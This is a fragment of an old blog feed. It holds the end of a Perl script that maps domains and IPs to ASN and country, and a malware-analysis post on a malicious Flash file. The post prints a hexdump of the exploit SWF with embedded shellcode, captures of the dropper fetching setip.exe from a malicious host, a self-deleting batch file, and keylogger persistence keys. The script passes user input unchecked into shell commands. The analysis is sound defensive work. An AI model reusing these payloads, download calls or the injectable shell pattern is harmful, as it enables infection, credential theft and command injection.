&amp;amp;whois($ipaddr);&lt;br /&gt;        foreach $a (@whois_results) {&lt;br /&gt;                print "$a\n";&lt;br /&gt;        }&lt;br /&gt;} elsif ($ARGV[0] =~ /.+?\...?$/) {&lt;br /&gt;        $domainname = $ARGV[0];&lt;br /&gt;        @resolve_results = &amp;amp;resolve($domainname);&lt;br /&gt;        foreach $a (@resolve_results) {&lt;br /&gt;                print "$a\n";&lt;br /&gt;        }&lt;br /&gt;} elsif ($ARGV[0] =~ /.+?\....?$/) {&lt;br /&gt;        $domainname = $ARGV[0];&lt;br /&gt;        @resolve_results = &amp;amp;resolve($domainname);&lt;br /&gt;        foreach $a (@resolve_results) {&lt;br /&gt;                print "$a\n";&lt;br /&gt;        }&lt;br /&gt;} elsif ($ARGV[0] =~ /.+?\.....?$/) {&lt;br /&gt;        $domainname = $ARGV[0];&lt;br /&gt;        @resolve_results = &amp;amp;resolve($domainname);&lt;br /&gt;        foreach $a (@resolve_results) {&lt;br /&gt;                print "$a\n";&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;} else { print "BAD INPUT: $ARGV[0]\n"; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub resolve {&lt;br /&gt;        undef $domain; undef @answersr; undef $answerr; undef @reresolve; undef @resultr; undef $infor;&lt;br /&gt;        my $domain = shift;&lt;br /&gt;        if ($domain =~ /^\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*$/) {&lt;br /&gt;                my @answersr = `dig +short -x $domain`;&lt;br /&gt;                @resultr;&lt;br /&gt;                foreach my $answerr (@answersr) {&lt;br /&gt;                        my @whois_resultr = &amp;amp;whois($domain);&lt;br /&gt;                        foreach my $whois_answerr (@whois_resultr) {&lt;br /&gt;                                if ($answerr =~ /^\s*$/) {&lt;br /&gt;                                        $infor = join(' | ', "NO RDNS", $whois_answerr);&lt;br /&gt;                                } else {&lt;br /&gt;                                        $infor = join(' | ', substr($answerr,0,$answerr-1), $whois_answerr);&lt;br /&gt;                                }&lt;br /&gt;                                @resultr = (@resultr,$infor);&lt;br /&gt;                        }&lt;br /&gt;                }&lt;br /&gt;                return @resultr;&lt;br /&gt;#       } elsif ($domain =~ /.+?\.....?\.?$/) {&lt;br /&gt;        } else {&lt;br /&gt;                my @answersr = `dig +short $domain`;&lt;br /&gt;                chomp(@answersr);&lt;br /&gt;                @resultr;&lt;br /&gt;                foreach my $answerr (@answersr) {&lt;br /&gt;                        if ($answerr =~ /^\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*$/) {&lt;br /&gt;                                my @whois_resultr = &amp;amp;whois($answerr);&lt;br /&gt;                                foreach my $whois_answerr (@whois_resultr) {&lt;br /&gt;                                        $infor = join(' | ', $domain, $whois_answerr);&lt;br /&gt;                                        @resultr = (@resultr,$infor);&lt;br /&gt;                                }&lt;br /&gt;#                       } elsif ($answerr =~ /.+?\.....?\.$/) {&lt;br /&gt;                        } else {&lt;br /&gt;                                my @reresolve = &amp;amp;resolve(substr($answerr,0,$answerr-1));&lt;br /&gt;                                foreach $reresolve (@reresolve) {&lt;br /&gt;                                        @resultr = (@resultr,$reresolve);&lt;br /&gt;                                }&lt;br /&gt;#                       } else { print "COULD NOT RESOLVE: $domain\n"; }&lt;br /&gt;                        }&lt;br /&gt;                }&lt;br /&gt;                return @resultr;&lt;br /&gt;#       } else {&lt;br /&gt;#               print "BAD DOMAIN: $domain\n";&lt;br /&gt;#               return("$domain \| UNKNOWN");&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub whois {&lt;br /&gt;        undef $octet1; undef $octet2; undef $octet3; undef $octet4;&lt;br /&gt;        undef @answers; undef @results;&lt;br /&gt;&lt;br /&gt;        my $ip = shift;&lt;br /&gt;        if ($ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) {&lt;br /&gt;                my $octet1 = $1;&lt;br /&gt;                my $octet2 = $2;&lt;br /&gt;                my $octet3 = $3;&lt;br /&gt;                my $octet4 = $4;&lt;br /&gt;&lt;br /&gt;                # Perform the IP WHOIS lookup and parse the result&lt;br /&gt;                my @answers = `dig +short -t TXT $octet4\.$octet3\.$octet2\.$octet1\.origin\.asn\.cymru\.com`;&lt;br /&gt;                chomp(@answers);&lt;br /&gt;                foreach my $answer (@answers) {&lt;br /&gt;                        undef @afields;&lt;br /&gt;                        undef $ip_as; undef $ip_netblock; undef $ip_cc; undef $ip_as_source; undef $ip_as_date;&lt;br /&gt;                        undef $as_num; undef $as_cc; undef $as_source; undef $as_date; undef $as_desc;&lt;br /&gt;                        undef $info;&lt;br /&gt;&lt;br /&gt;                        $answer =~ s/\t//g;&lt;br /&gt;                        $answer =~ s/\"//g;&lt;br /&gt;                        $answer =~ s/\s\|\s/\|/g;&lt;br /&gt;                        my @afields = (split/\|/,$answer);&lt;br /&gt;                        my $ip_as = $afields[0];&lt;br /&gt;                        my $ip_netblock = $afields[1];&lt;br /&gt;                        my $ip_cc = $afields[2];&lt;br /&gt;                        my $ip_as_source = $afields[3];&lt;br /&gt;                        my $ip_as_date = $afields[4];&lt;br /&gt;&lt;br /&gt;                        # Perform the AS WHOIS lookup and parse the result&lt;br /&gt;                        $answer = `dig +short -t TXT AS$ip_as\.asn\.cymru\.com`;&lt;br /&gt;                        chomp($answer);&lt;br /&gt;                        $answer =~ s/\t//g;&lt;br /&gt;                        $answer =~ s/\"//g;&lt;br /&gt;                        $answer =~ s/\s\|\s/\|/g;&lt;br /&gt;                        my @afields = (split/\|/,$answer);&lt;br /&gt;                        my $as_num = $afields[0];&lt;br /&gt;                        my $as_cc = $afields[1];&lt;br /&gt;                        my $as_source = $afields[2];&lt;br /&gt;                        my $as_date = $afields[3];&lt;br /&gt;                        my $as_desc = $afields[4];&lt;br /&gt;&lt;br /&gt;                        my $info = join(' | ',sprintf("%15.15s",$ip),sprintf("%18.18s",$ip_netblock),sprintf("%2.2s",$ip_cc),sprintf("%5.5s",$ip_as),$as_desc);&lt;br /&gt;                        @results = (@results,$info);&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                return(@results);&lt;br /&gt;        } else {&lt;br /&gt;                print "BAD IP ADDRESS: $ip\n";&lt;br /&gt;                return("$ip \| UNKNOWN");&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-7946575834020118752?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/7946575834020118752/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=7946575834020118752' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7946575834020118752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7946575834020118752'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2008/07/script-to-identify-domains-and-ip.html' title='Script to identify domains and IP addresses by ASN and CC'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1377571306264169527</id><published>2008-05-28T00:16:00.001-04:00</published><updated>2008-05-28T00:16:08.263-04:00</updated><title type='text'>Malicious Flash Badness</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;div lang='x-western' style='font-family: -moz-fixed; font-size: 13px;' class='moz-text-flowed'&gt;&lt;font face='Courier New'&gt;This started after reading the first entry of this SANS story: &lt;a href='http://isc.sans.org/diary.html?storyid=4468'&gt;http://isc.sans.org/diary.html?storyid=4468&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;Tooled with the dropper, did a little Flash version research and discovered this link worked out:&lt;br/&gt;&lt;br/&gt;www_play0nlnie_com/pcd/topics/ff11us/20080311cPxl31/WIN%209,0,115,0ie.swf&lt;br/&gt;&lt;br/&gt;FLARE/FLASM scream about overflow of tags. &lt;br/&gt;&lt;br/&gt;    bt collectedfiles # cat &lt;br/&gt;    __20080527-1113_www_play0nlnie_com_pcd_topics_ff11us_20080311cPxl31_WIN_9_0_115_0ie_flr &lt;br/&gt;    movie 'WIN 9,0,115,0ie.swf' { &lt;br/&gt;    // flash 9, total frames: 771, frame rate: 12 fps, 550x400 px &lt;br/&gt;&lt;br/&gt;      // unknown tag 86 length 40 &lt;br/&gt;&lt;br/&gt;      // unknown tag 86 length 12 &lt;br/&gt;&lt;br/&gt;      // unknown tag 82 length 383 &lt;br/&gt;&lt;br/&gt;      // unknown tag 76 length 25 &lt;br/&gt;    } &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;SWF hex&lt;br/&gt;&lt;br/&gt;    bt collectedfiles # hexdump -C &lt;br/&gt;    __20080527-1342_www_play0nlnie_com_pcd_topics_ff11us_20080311cPxl31_WIN_9_0_115_0ie_swf &lt;br/&gt;    00000000  46 57 53 09 0a 06 00 00  78 00 05 5f 00 00 0f a0      |FWS.....x.._....| &lt;br/&gt;    00000010  00 00 0c 03 03 44 11 08  00 00 00 bf 01 00 04 00      |.....D..........| &lt;br/&gt;    00000020  00 aa 02 34 d1 f5 25 13  ed 2b 45 e9 a8 90 9b 67      |...4..%..+E....g| &lt;br/&gt;    00000030  65 1d aa d1 5a b0 ec 91  05 6f 6b 7e 4f 9a 2a 62      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;e...Z....ok~O.*b&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    00000040  06 f4 a0 6d a4 3b ca c9  15 2e a8 e6 e6 40 ca 36      |...m.;.......@.6| &lt;br/&gt;    00000050  2d 4a ab dd 70 01 fe 25  78 ed b9 a3 54 30 f4 f1      |-J..p..%x...T0..| &lt;br/&gt;    00000060  cf d2 f2 e3 e1 63 e6 85  34 35 45 77 33 e4 3d 4b      |.....c..45Ew3.=K| &lt;br/&gt;    00000070  72 10 af 86 45 59 a3 f8  c1 27 29 75 ae 34 28 2b      |r...EY...')u.4(+| &lt;br/&gt;    00000080  7c e5 7d a7 57 7c ee c8  e6 0c d0 91 4c df f4 41      ||.}.W|......L..A| &lt;br/&gt;    00000090  04 27 a8 94 9a 18 e4 0e  7d 63 02 b3 bf 22 76 12      |.'......}c..."v.| &lt;br/&gt;    000000a0  1d 24 02 10 a6 3d 5d 3e  4c 73 ab bf b6 c2 d7 88      |.$...=]&amp;amp;gt;Ls......| &lt;br/&gt;    000000b0  af bd ab 68 75 cc b2 b9  4d 5c b5 30 ae a5 f5 82      |...hu...M\.0....| &lt;br/&gt;    000000c0  42 74 69 03 37 8e 94 e2  87 22 d3 9e bc 57 2d 64      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;Bti.7...."...W-d&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    000000d0  cc 76 f3 72 9e 3c 5d a4  58 c1 d5 53 64 a0 a4 a8      |.v.r.&amp;amp;lt;].X..Sd...| &lt;br/&gt;    000000e0  84 32 c0 7d b4 91 d8 8a  c2 3f 70 5e e6 17 24 60      |.2.}.....?p^..$`| &lt;br/&gt;    000000f0  eb 16 5b 33 c9 66 b8 d8  15 66 31 04 4b 41 40 66      |..[3.f...f1.KA@f| &lt;br/&gt;    00000100  81 f9 63 01 7c f3 eb 05  e8 e5 ff ff ff 31 70 db      |..c.|........1p.| &lt;br/&gt;    00000110  15 da 4a b1 25 85 71 56  14 55 8d 77 15 e0 15 6a      |..J.%.qV.U.w...j| &lt;br/&gt;    00000120  55 ee 9e 93 09 49 9e 8d  1d 6d e2 66 f9 e8 17 e9      |U....I...m.f....| &lt;br/&gt;    00000130  15 6f ce 9e 12 2b 53 c9  dc bc 4b bc 7f f9 4c 19      |.o...+S...K...L.| &lt;br/&gt;    00000140  fb f3 15 f3 f7 0d 55 75  2d 35 60 0d 9c be 25 93      |......Uu-5`...%.| &lt;br/&gt;    00000150  17 a3 fd 65 14 fc 15 1f  ec 94 14 a6 7d 6f 78 01      |...e........}ox.| &lt;br/&gt;    00000160  16 6a 63 71 7a 69 42 8e  10 ee 06 06 16 08 83 e1      |.jcqziB.........| &lt;br/&gt;    00000170  a8 0b 16 0b 7e 31 56 0d  16 64 e9 65 e9 2e cd 3d      |....~1V..d.e...=| &lt;br/&gt;    00000180  32 42 46 47 e9 42 36 9e  d2 7e e9 e8 e9 e7 7e e6      |2BFG.B6..~....~.| &lt;br/&gt;    00000190  e9 e5 e9 4f 46 e3 40 01  5e 6b 15 e0 40 30 7c 11      |...OF.@.^k..@0|.| &lt;br/&gt;    000001a0  4f 46 9d 3a 9b 8f 16 21  16 26 9d bc be 28 16 29      |OF.:...!.&amp;amp;amp;...(.)| &lt;br/&gt;    000001b0  9d d7 40 c2 f6 2c 16 2d  48 dd b3 71 9d 4e 32 d9      |..@..,.-H..q.N2.| &lt;br/&gt;    000001c0  33 33 16 33 7c 2e 7c 38  7c 36 9d f2 15 3c 8a ff      |33.3|.|8|6...&amp;amp;lt;..| &lt;br/&gt;    000001d0  11 52 51 90 d0 3b d5 b6  68 16 fe 35 17 40 16 2b      |.RQ..;..h..5.@.+| &lt;br/&gt;    000001e0  2b 28 20 29 31 cf d3 46  12 da d0 40 7e 0f bd 8f     |+( )1..F...@~...| &lt;br/&gt;    000001f0  11 89 9d 35 0e a4 f9 4d  16 4e 7e 27 1e 5a 16 39      |...5...M.N~'.Z.9| &lt;br/&gt;    00000200  7e 5a 1c 53 7e 01 9d b9  7c dd 12 cb bd 6b d6 09      |~Z.S~...|....k..| &lt;br/&gt;    00000210  46 30 e9 d0 12 c0 bc d0  a8 6d 17 5f 16 37 7e 9e      |F0.......m._.7~.| &lt;br/&gt;    00000220  16 62 16 9c 40 60 15 a2  d1 66 79 15 6c 46 d1 29      |.b..@`...fy.lF.)| &lt;br/&gt;    00000230  12 0f 6e 0e 16 3b e9 3b  1e 5d cd 3c 45 27 9b 37      |..n..;.;.].&amp;amp;lt;E'.7| &lt;br/&gt;    00000240  22 22 45 8c 40 58 25 b5  9d 8a 7c 65 4f d3 f4 84      |""E.@X%...|eO...| &lt;br/&gt;    00000250  70 bd 52 5f 2a 7d 17 f6  ea f3 51 6f 47 d7 46 d0      |p.R_*}....QoG.F.| &lt;br/&gt;    00000260  47 d3 47 d2 47 d5 9b 13  25 87 16 87 44 d9 e9 df      |G.G.G...%...D...| &lt;br/&gt;    00000270  1a 0b d2 df 14 8c 16 ec  e9 ff fa 4d 12 90 9d c7      |...........M....| &lt;br/&gt;    00000280  26 d3 4d c1 15 75 15 74  15 77 15 76 95 74 12 c3      |&amp;amp;amp;.M..u.t.w.v.t..| &lt;br/&gt;    00000290  45 11 cc 79 e1 ce e9 7d  fe 85 e9 60 e9 ca 3f f9      |E..y...}...`..?.| &lt;br/&gt;    000002a0  20 2f 42 87 12 69 38 67  36 a6 7c 97 4e 12 16 aa     | /B..i8g6.|.N...| &lt;br/&gt;    000002b0  e8 d5 e9 b9 d4 8c 16 c7  24 f6 ac af 15 4e 69 4e      |........$....NiN| &lt;br/&gt;    000002c0  04 70 32 b3 ae 44 16 b5  16 80 9b e3 32 bc db 97      |.p2..D......2...| &lt;br/&gt;    000002d0  d4 ae 16 03 03 bd 16 bd  fd bb ae a0 17 c0 16 7b      |...............{| &lt;br/&gt;    000002e0  16 c1 e8 bc e9 d6 d4 d1  16 94 42 ad 12 a2 36 9e      |..........B...6.| &lt;br/&gt;    000002f0  e9 9c 02 91 d5 9d 9d 88  2a 8b 9d 93 3e af 5b d2      |........*...&amp;amp;gt;.[.| &lt;br/&gt;    00000300  cb 59 05 d0 c3 e7 df 9c  57 5d 12 5d 9b 9c 3e db      |.Y......W].]..&amp;amp;gt;.| &lt;br/&gt;    00000310  76 e9 df d4 a8 cc 2c 0b  62 d6 d7 16 11 e3 dc a1      |v.....,.b.......| &lt;br/&gt;    00000320  fd 13 2f ec 77 91 f7 6e  55 f6 15 22 9d ec 9e 42      |../.w..nU.."...B| &lt;br/&gt;    00000330  4f 29 47 bd 9d 99 2a 66  62 c0 6e ec e3 a6 9d 87      |O)G...*fb.n.....| &lt;br/&gt;    00000340  36 f1 e3 c0 df bd 57 58  15 33 25 2c 19 46 06 c3      |6.....WX.3%,.F..| &lt;br/&gt;    00000350  c0 8e 1e 3a dd fb 15 27  56 15 e7 c4 09 75 f0 5f      |...:...'V....u._| &lt;br/&gt;    00000360  9c 5c 33 00 ca 62 9c 09  5c 8d 49 1b 14 d5 9c 0d      |.\3..b..\.I.....| &lt;br/&gt;    00000370  9c 09 d2 a0 49 55 d4 e5  81 f3 e8 f0 25 64 86 1d      |....IU......%d..| &lt;br/&gt;    00000380  2e f0 6a 90 6e 2d f1 8d  cd 5e 6c 2a 6e 97 db 79      |..j.n-...^l*n..y| &lt;br/&gt;    00000390  09 be 73 f4 e7 54 6c 20  8e f4 87 a2 9e 6e ad 3e      |..s..Tl .....n.&amp;amp;gt;| &lt;br/&gt;    000003a0  e6 6f 32 f6 5a a5 27 34  97 f0 b8 bd 17 28 17 29      |.o2.Z.'4.....(.)| &lt;br/&gt;    000003b0  7f 5e 63 5b 2d 03 38 5a  60 59 39 5f 7b 51 6e 01      |.^c[-.8Z`Y9_{Qn.| &lt;br/&gt;    000003c0  79 5e 79 5a 72 1a 74 5a  7a 19 76 4f 39 5d 6f 5c      |y^yZr.tZz.vO9]o\| &lt;br/&gt;    000003d0  17 15 f5 78 4e 13 19 59  6c 18 01 6f 21 ed a7 13      |...xN..Yl..o!...| &lt;br/&gt;    000003e0  db 97 bf a1 52 c6 f7 18  c2 ee c1 7e bc 24 43 64      |....R......~.$Cd| &lt;br/&gt;    000003f0  bb 2e 44 f8 f7 5d 1d f6  23 28 10 fa 0b 11 91 ec      |..D..]..#(......| &lt;br/&gt;    00000400  d1 50 dc a4 aa 66 5e e6  df e3 d3 5e 82 a8 30 42      |.P...f^....^..0B| &lt;br/&gt;    00000410  00 68 94 36 9a a4 f8 24  e2 78 d1 15 c0 5f cd ce      |.h.6...$.x..._..| &lt;br/&gt;    00000420  2c a8 15 99 b4 8e a0 08  20 20 20 20 20 20 20 20      |,.......        | &lt;br/&gt;    00000430  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20      |                | &lt;br/&gt;    00000440  20 20 20 20 20 20 20 20  20 20 43 43 02 ff ff ff      |          CC....| &lt;br/&gt;    00000450  bf 15 0c 00 00 00 01 00  e5 9c ba e6 99 af 20 31      |.............. 1| &lt;br/&gt;    00000460  00 00 bf 14 7f 01 00 00  01 00 00 00 00 10 00 2e      |................| &lt;br/&gt;    00000470  00 00 00 00 10 07 6e 65  77 5f 66 6c 61 0c 4d 61      |......new_fla.Ma| &lt;br/&gt;    00000480  69 6e 54 69 6d 65 6c 69  6e 65 0d 66 6c 61 73 68      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;inTimeline.flash&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    00000490  2e 64 69 73 70 6c 61 79  09 4d 6f 76 69 65 43 6c      |.display.MovieCl| &lt;br/&gt;    000004a0  69 70 14 6e 65 77 5f 66  6c 61 3a 4d 61 69 6e 54      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;ip.new_fla:MainT&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    000004b0  69 6d 65 6c 69 6e 65 06  66 72 61 6d 65 31 00 0e      |imeline.frame1..| &lt;br/&gt;    000004c0  61 64 64 46 72 61 6d 65  53 63 72 69 70 74 06 4f      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;addFrameScript.O&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    000004d0  62 6a 65 63 74 0c 66 6c  61 73 68 2e 65 76 65 6e      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;bject.flash.even&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    000004e0  74 73 0f 45 76 65 6e 74  44 69 73 70 61 74 63 68      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;ts.EventDispatch&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    000004f0  65 72 0d 44 69 73 70 6c  61 79 4f 62 6a 65 63 74      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;er.DisplayObject&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    00000500  11 49 6e 74 65 72 61 63  74 69 76 65 4f 62 6a 65      |.InteractiveObje| &lt;br/&gt;    00000510  63 74 16 44 69 73 70 6c  61 79 4f 62 6a 65 63 74      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;ct.DisplayObject&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    00000520  43 6f 6e 74 61 69 6e 65  72 06 53 70 72 69 74 65      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;Container.Sprite&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    00000530  07 16 01 16 03 18 05 17  01 16 07 16 0a 00 0b 07      |................| &lt;br/&gt;    00000540  01 02 07 02 04 07 04 06  07 05 08 07 05 09 07 06      |................| &lt;br/&gt;    00000550  0b 07 02 0c 07 02 0d 07  02 0e 07 02 0f 04 00 00      |................| &lt;br/&gt;    00000560  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 01      |................| &lt;br/&gt;    00000570  01 02 08 03 00 02 01 03  01 00 01 00 00 01 03 01      |................| &lt;br/&gt;    00000580  01 04 01 00 04 00 01 01  09 0a 03 d0 30 47 00 00      |............0G..| &lt;br/&gt;    00000590  01 02 01 0a 0b 09 f8 62  8f ff ff 02 02 02 47 00      |.......b......G.| &lt;br/&gt;    000005a0  00 02 03 01 0a 0b 0f d0  30 d0 49 00 5d 04 24 00      |........0.I.].$.| &lt;br/&gt;    000005b0  60 03 4f 04 02 47 00 00  03 02 01 01 09 27 f8 62      |`.O..G.......'.b| &lt;br/&gt;    000005c0  79 f8 62 75 f8 e8 25 fb  ff ff 00 f8 29 02 f8 63      &lt;code class='moz-txt-verticalline'&gt;&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;y.bu..%.....)..c&lt;span class='moz-txt-tag'&gt;|&lt;/span&gt;&lt;/code&gt; &lt;br/&gt;    000005d0  79 02 02 02 02 02 02 02  02 02 02 02 02 02 02 02      |y...............| &lt;br/&gt;    000005e0  02 02 02 02 47 00 00 3f  13 19 00 00 00 01 00 00      |....G..?........| &lt;br/&gt;    000005f0  00 6e 65 77 5f 66 6c 61  2e 4d 61 69 6e 54 69 6d      |.new_fla.MainTim| &lt;br/&gt;    00000600  65 6c 69 6e 65 00 40 00  00 00                        |eline.@...| &lt;br/&gt;    0000060a &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;ISC handler Adrien de Beaupre got the drop calls out.  Collecting these, I was able to determine the following:&lt;br/&gt;&lt;br/&gt;ax.exe&lt;br/&gt;&lt;br/&gt;DNS queries to 'www_1ive_net'.  Resolves &lt;/font&gt;&lt;font face='Courier New'&gt;82.98.86.169&lt;/font&gt;&lt;font face='Courier New'&gt;.   &lt;br/&gt;&lt;br/&gt;0040  ed 90 47 45 54 20 2f 63 6f 75 6e 74 2f 6e 65 77   ..GET /count/new &lt;br/&gt;0050  73 2e 61 73 70 20 48 54 54 50 2f 31 2e 30 0d 0a   s.asp HTTP/1.0.. &lt;br/&gt;0060  41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 48 6f 73   Accept: */*..Hos &lt;br/&gt;0070  74 3a 20 77 77 77 2e 31 69 76 65 2e 6e 65 74 0d   t: &lt;a href='http://www.1ive.net/' class='moz-txt-link-abbreviated'&gt;www.1ive.net&lt;/a&gt;. &lt;br/&gt;0080  0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a   .User-Agent: Moz &lt;br/&gt;0090  69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74   illa/4.0 (compat &lt;br/&gt;00a0  69 62 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20   ible; MSIE 6.0; &lt;br/&gt;00b0  57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 30 29 0d   Windows NT 5.0). &lt;br/&gt;00c0  0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67   .Accept-Encoding &lt;br/&gt;00d0  3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d   : gzip, deflate. &lt;br/&gt;00e0  0a 0d 0a                                          ... &lt;br/&gt;&lt;br/&gt;Looks like a tracker.  The rest of the return looks like click generation (click fraud). &lt;br/&gt;&lt;br/&gt;Drops %system%\disk.dll and test.bat to clean up the retrieved swf. &lt;br/&gt;&lt;br/&gt;bt brak # cat WINE_COMPARISON_ax.exe.txt_collection/test.bat &lt;br/&gt;:ha &lt;br/&gt;del "Z:\mnt\sda1\collections\20080527-swf\brak\ax.exe" &lt;br/&gt;if exist "Z:\mnt\sda1\collections\20080527-swf\brak\ax.exe" goto ha &lt;br/&gt;del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.swf" &lt;br/&gt;del %0 &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Then resolves 'www_play0nlnie_com' to 125.46.104.172 and pulls setip.exe &lt;br/&gt;&lt;br/&gt;179 223.948001 192.168.10.22 -&amp;amp;gt; 125.46.104.172 HTTP GET /setip.exe HTTP/1.0 &lt;br/&gt;&lt;br/&gt;0000  00 02 b3 a1 8d 6f 00 0c 29 fb a3 48 08 00 45 00   .....o..)..H..E. &lt;br/&gt;0010  00 d6 fd ee 40 00 40 06 8b 9a c0 a8 0a 16 7d 2e   ....@.@.......}. &lt;br/&gt;0020  68 ac e2 a1 00 50 9b 1a 84 60 ac 79 fe fe 80 18   h....P...`.y.... &lt;br/&gt;0030  01 6d 5e 31 00 00 01 01 08 0a df 2a 79 b7 1a 5b   .m&lt;sup class='moz-txt-sup'&gt;1&lt;/sup&gt;.......*y..[ &lt;br/&gt;0040  b4 7a 47 45 54 20 2f 73 65 74 69 70 2e 65 78 65   .zGET /setip.exe &lt;br/&gt;0050  20 48 54 54 50 2f 31 2e 30 0d 0a 41 63 63 65 70    HTTP/1.0..Accep &lt;br/&gt;0060  74 3a 20 2a 2f 2a 0d 0a 48 6f 73 74 3a 20 77 77   t: */*..Host: ww &lt;br/&gt;0070  77 2e 70 6c 61 79 30 6e 6c 6e 69 65 2e 63 6f 6d   w.play0nlnie.com &lt;br/&gt;0080  0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f   ..User-Agent: Mo &lt;br/&gt;0090  7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61   zilla/4.0 (compa &lt;br/&gt;00a0  74 69 62 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b   tible; MSIE 6.0; &lt;br/&gt;00b0  20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 30 29    Windows NT 5.0) &lt;br/&gt;00c0  0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e   ..Accept-Encodin &lt;br/&gt;00d0  67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65   g: gzip, deflate &lt;br/&gt;00e0  0d 0a 0d 0a                                       .... &lt;br/&gt;&lt;br/&gt;Attempts to drop a keylogger, but fails in WINE. &lt;br/&gt;&lt;br/&gt;fixme:reg:RegRestoreKeyW (0x50,L"c:\\windows\\temp\\xTemp.sys",8): stub &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Drops %system%\smart.dll and sets for start &lt;br/&gt;&lt;br/&gt;&amp;amp;lt; [Software\\Cn91x\\Fly] 1211905209 &lt;br/&gt;&amp;amp;lt; "DllName"="smart.dll" &lt;br/&gt;&amp;amp;lt; "Shutdown"="DoStartup" &lt;br/&gt;&amp;amp;lt; "Startup"="DoShutdown" &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Injects into explorer.exe and iexplore.exe.&lt;br/&gt;&lt;br/&gt;So, sum game is backchannel, keylogger, infostealer.gamepass RK.   Nice...  Similar to last two weeks' SQL injections.... &lt;br/&gt;&lt;br/&gt;0x0080:  0000 003f 4761 6d65 5573 6572 3d00 020a  ...?GameUser=... &lt;br/&gt;0x0090:  0000 0026 4761 6d65 5061 7373 3d00 e516  ...&amp;amp;amp;GamePass=... &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Watch for these IPs and domains &lt;br/&gt;&lt;/font&gt;&lt;font face='Courier New'&gt;&lt;br/&gt;&lt;a href='http://www.play0nlnie.com/' 